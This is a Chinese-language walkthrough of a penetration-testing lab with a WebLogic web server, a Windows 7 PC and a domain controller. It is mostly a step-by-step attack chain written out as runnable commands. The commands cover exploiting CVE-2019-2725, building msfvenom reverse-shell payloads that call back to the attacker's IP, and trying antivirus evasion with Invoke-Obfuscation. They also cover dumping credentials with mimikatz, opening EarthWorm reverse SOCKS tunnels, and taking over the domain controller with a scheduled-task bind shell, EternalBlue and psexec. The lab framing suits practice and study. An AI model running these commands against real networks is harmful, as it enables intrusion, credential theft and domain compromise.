環境配置
內網2靶場由三臺機器構成:WIN7、2008 server、2012 server
其中2008做為對外的web機,win7作為個人主機可上網,2012作為域控
網路介面卡已經設定好了不用自己設定
初始密碼1qaz@WSX
WEB主機初始的狀態預設密碼無法登入,切換使用者 de1ay/1qaz@WSX ,然後修改WEB\de1ay的密碼
注意需要手動開啟服務,在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有一個 startWeblogic 的批處理,管理員身份執行它即可,管理員賬號密碼:Administrator/1qaz@WSX
由於web主機自己設定了ip地址,還需要改成自動獲取ip地址,不然kali無法探測該主機
外網主機資訊收集
nmap探測埠,一個web伺服器一個個人pc
目標web主機對外的ip地址為192.168.200.30 ,開放了80,但是看了看什麼東西也沒有,1433sqlserver,7001http服務 weblogic中介軟體
由於剛剛環境配置的時候開的就是weblogic服務,所以猜測肯定這裡有問題
訪問weblogic後臺 預設路徑為192.168.200.30:7001/console,得到了一個版本號10.3.6.0
因為我對這個中介軟體不是很熟悉,先kali searchsploit搜尋了一下大概存在哪漏洞
看到存在命令執行漏洞和java反序列化,但是我也不知道具體是哪一個,所以網上找到了一個針對weblogic的掃描工具rabbitmask/WeblogicScan
python3 WeblogicScan.py -u 192.168.200.30 -p 7001
看到檢測出只有java反序列化漏洞 編號為CVE-2019-2725,搜尋一下關於這個漏洞的復現,查到有兩種方法
CVE-2019-2725漏洞利用
1、上msf搜尋關於這個漏洞的利用模組
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice set target 1
set RHOSTS 192.168.200.30 set LHOST 192.168.200.6 run
但是攻擊失敗了,突然意識到靶機有360防禦,關掉之後才能攻擊。
2、網上的exp(github.com)
漏洞存在的頁面:(若頁面存在則有漏洞)
/_async/AsyncResponseService
但是網上的exp我每個都試了,弄了一下午結果沒有一個成功的,後來看到360的日誌,才發現原來是他搞得鬼,把所有的資料包都攔截了,那我就很疑惑網上的wp到底是怎麼寫出來的
看來繞過360還是一個大工程啊
功夫不負有心人我差點想要放棄了,還好還是找到了CVE-2019-2725對應的利用指令碼,kali如下,下載地址 https://www.exploit-db.com/download/46780
使用方法:將exploit修改成msf生成的ps1檔案
但是有360,還得考慮免殺
先用msf生成ps1指令碼
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.200.6 LPORT=4444 -f psh-cmd > shell.ps1
免殺這裡我選擇了Invoke-Obfuscation 參考文章Invoke-Obfuscation混淆免殺過360和火絨_csdnmmd的部落格-CSDN部落格
Invoke-Obfuscation下載連結:https://github.com/danielbohannon/Invoke-Obfuscation
設定執行策略Set-executionpolicy Unrestricted:允許所有指令碼執行。
Import-Module Invoke-Obfuscation.psd1 \\匯入模組
Invoke-Obfuscation \\載入模組
設定要免殺的木馬
set scriptpath C:\Users\administrator.WIN-2008\Desktop\shell.ps1
選擇編碼混淆 ENCODING
這裡選擇的型別有八個,分別是不同編碼,我先試試第一個,輸入1,就會自動生成
輸入
out 1.ps1
將檔案輸出,可以看到免殺好的ps1指令碼已經做好了
回到kali,我想先是試試看沒免殺的指令碼會不會被360攔截,於是就先把沒免殺的ps1複製到exploit中
python 46780.py http://192.168.200.30:7001/_async/AsyncResponseServiceHttps
msf監聽
果然還是被攔截了,接下來試試看免殺之後的
但是,花了一晚上所有都試了一遍發現沒有一個能用的,直到我把360關了之後,再重新試了一下,發現就算沒有360也沒有用,害能力不夠,免殺這邊只能先放放了。
內網資訊收集
跳過繞360那一步拿到web主機許可權
getsystem提權失敗,應該是因為360的原因
MSF下的會話傳給CS
msf使用注入模組 + cs建立Listener監聽 (相同payload)
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost (cs listener ip)
set lport (cs listener port)
set session (id)
run
利用cs通過web伺服器進行對內網的主機掃描發現
掃到的三臺主機,都開了445,後面可以試試永恆之藍
也可以利用msf通過web伺服器進行對內網的主機掃描發現
進入shell 檢視內網網段
for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL="
有一臺主機沒掃到,我試了一下web機也ping不到pc不知道什麼原因,用路由轉發,讓msf直接掃試試看
獲取目標機內網地址網段
run get_local_subnets
通過background
回到msf
,使用route
增加對應路由,2是sessions值
route add 10.10.10.0 255.255.255.0 2
檢視是否設定成功
route print
這樣msf就能掃描到內網的主機了
回到meterpreter會話,掃描10.10.10.0網段
run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24
繼續資訊收集,查到域名為de1ay.com,存在兩臺域主機WEB和PC,域控制器為DC.de1ay.com,主機名為DC
net time /domain
net user /domain
net group "domain computers" /domain
CS runmimikatz
抓取到web/de1ay和de1ay/mssql使用者的密碼,但是沒抓到域控的密碼(其實通過之前收集到的使用者名稱,也可以用這個密碼撞一撞)
內網穿越
先設定代理讓kali能訪問內網
兩種工具一個是earthworm,還有一個是ProxyChains
首先將EW上傳到web主機上
在攻擊機執行
./ew_for_linux64 -s rcsocks -l 1080 -e 4444
這條命令的意思是在公網VPS上新增一個轉接隧道,把1080埠收到的代理請求轉發給4444埠
然後在web主機執行
ew_for_Win.exe -s rssocks -d 192.168.200.6 -e 4444
這條命令的意思是在本機伺服器上啟動SOCKS5服務,然後反彈到192.168.200.6攻擊機的4444埠
執行完後會顯示連線OK,現在就可以通過訪問攻擊機的1080埠,使用win7的伺服器上SOCKS5代理服務
接下來使用proxychains新增代理(KALI中自帶)
輸入開啟proxychains進行編輯
vi /etc/proxychains4.conf
首先將dynamic_chain前面的註釋符#刪除
然後在底部改成內容 socks5 127.0.0.1 1080
儲存並退出,現在kali可以訪問內網了
setg Proxies socks5:127.0.0.1:1080
,把msf代理進內網(也可以新增路由)
域內橫向移動
既然抓到了本機的密碼,也開啟了3389,就遠端登陸看看
rdesktop 192.168.200.30:3389
進入後先把360關了
這裡我只是試一試,但是居然能連線到
msf建立一個正向連線的shell
msfvenom -p windows/meterpreter/bind_tcp -f exe -o shell.exe
上傳到web機在上傳到域控
定時任務
schtasks /create /s 10.10.10.10 /tn test /sc once /st 17:07 /tr c:\shell.exe /ru system /f
msf監聽
set payload windows/meterpreter/bind_tcp
set rhost 10.10.10.10
set lport 4444
run
拿到域控許可權但提權失敗,嘗試手動提權
background
use local_exploit_suggester
show options
set session 4
run
每個都嘗試用了一遍,在切換回sessions
用永恆之藍試試攻擊域控
也可以直接獲取域控許可權
(後面我又試了一下永恆之藍,但是一直是藍屏,我也不知道這次是怎麼弄的)
psexec.exe也行
總結
這個靶機可能是我配置不太對,做起來有些奇怪,win2008的許可權似乎有點高不用ipc連線就能連線到域控,win2008和win7互相 ping不通,也連線不到,感覺win7在這個靶場中存在的意義不大,這個靶場的難點應該就是過360那部分了,後續得學習一下免殺